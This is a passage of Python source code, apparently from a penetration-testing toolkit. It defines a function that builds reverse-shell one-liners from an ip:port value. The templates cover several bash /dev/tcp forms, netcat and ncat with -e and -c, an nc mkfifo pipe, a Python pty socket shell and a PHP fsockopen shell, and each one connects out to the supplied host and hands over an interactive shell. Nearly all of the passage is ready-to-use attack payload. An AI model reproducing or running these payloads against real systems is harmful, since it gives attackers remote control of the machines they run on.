| 414 | ''' |
| 415 | |
| 416 | def reverse_shell_tools(shell,ip_port): |
| 417 | if ip_port.count(':') != 1: |
| 418 | info = '[-] Input format has error(ip:port)' |
| 419 | return info |
| 420 | ip,port = ip_port.split(':') |
| 421 | |
| 422 | shell_template = ''' |
| 423 | --------------------------------------------------------------------------------------- |
| 424 | # Bash -i |
| 425 | {cmd} -i >& /dev/tcp/{ip}/{port} 0>&1 |
| 426 | |
| 427 | # Bash 196 |
| 428 | 0<&196;exec 196<>/dev/tcp/{ip}/{port}; {cmd} <&196 >&196 2>&196 |
| 429 | |
| 430 | # Bash 5 |
| 431 | {cmd} -i 5<> /dev/tcp/{ip}/{port} 0<&5 1>&5 2>&5 |
| 432 | |
| 433 | # Bash read line |
| 434 | exec 5<>/dev/tcp/{ip}/{port};cat <&5 | while read line; do $line 2>&5 >&5; done |
| 435 | --------------------------------------------------------------------------------------- |
| 436 | ''' |
| 437 | other_template = ''' |
| 438 | --------------------------------------------------------------------------------------- |
| 439 | # nc -e |
| 440 | nc {ip} {port} -e bash |
| 441 | |
| 442 | # nc -c |
| 443 | nc -c sh {ip} {port} |
| 444 | |
| 445 | # nc mkfifo |
| 446 | rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {ip} {port} >/tmp/f |
| 447 | |
| 448 | # ncat -c |
| 449 | ncat {ip} {port} -e sh |
| 450 | |
| 451 | # python3 |
| 452 | python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("{ip}",{port}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")' |
| 453 | |
| 454 | # php |
| 455 | php -r '$sock=fsockopen("{ip}",{port});exec("/bin/sh -i <&3 >&3 2>&3");' |
| 456 | --------------------------------------------------------------------------------------- |
| 457 | ''' |
| 458 | |
| 459 | if shell == 'other': |
| 460 | return other_template.format(ip=ip,port=port) |
| 461 | else: |
| 462 | return shell_template.format(cmd=shell,ip=ip,port=port) + shell_template.format(cmd='/bin/'+shell,ip=ip,port=port) |
| 463 | |
| 464 | |
| 465 | ''' |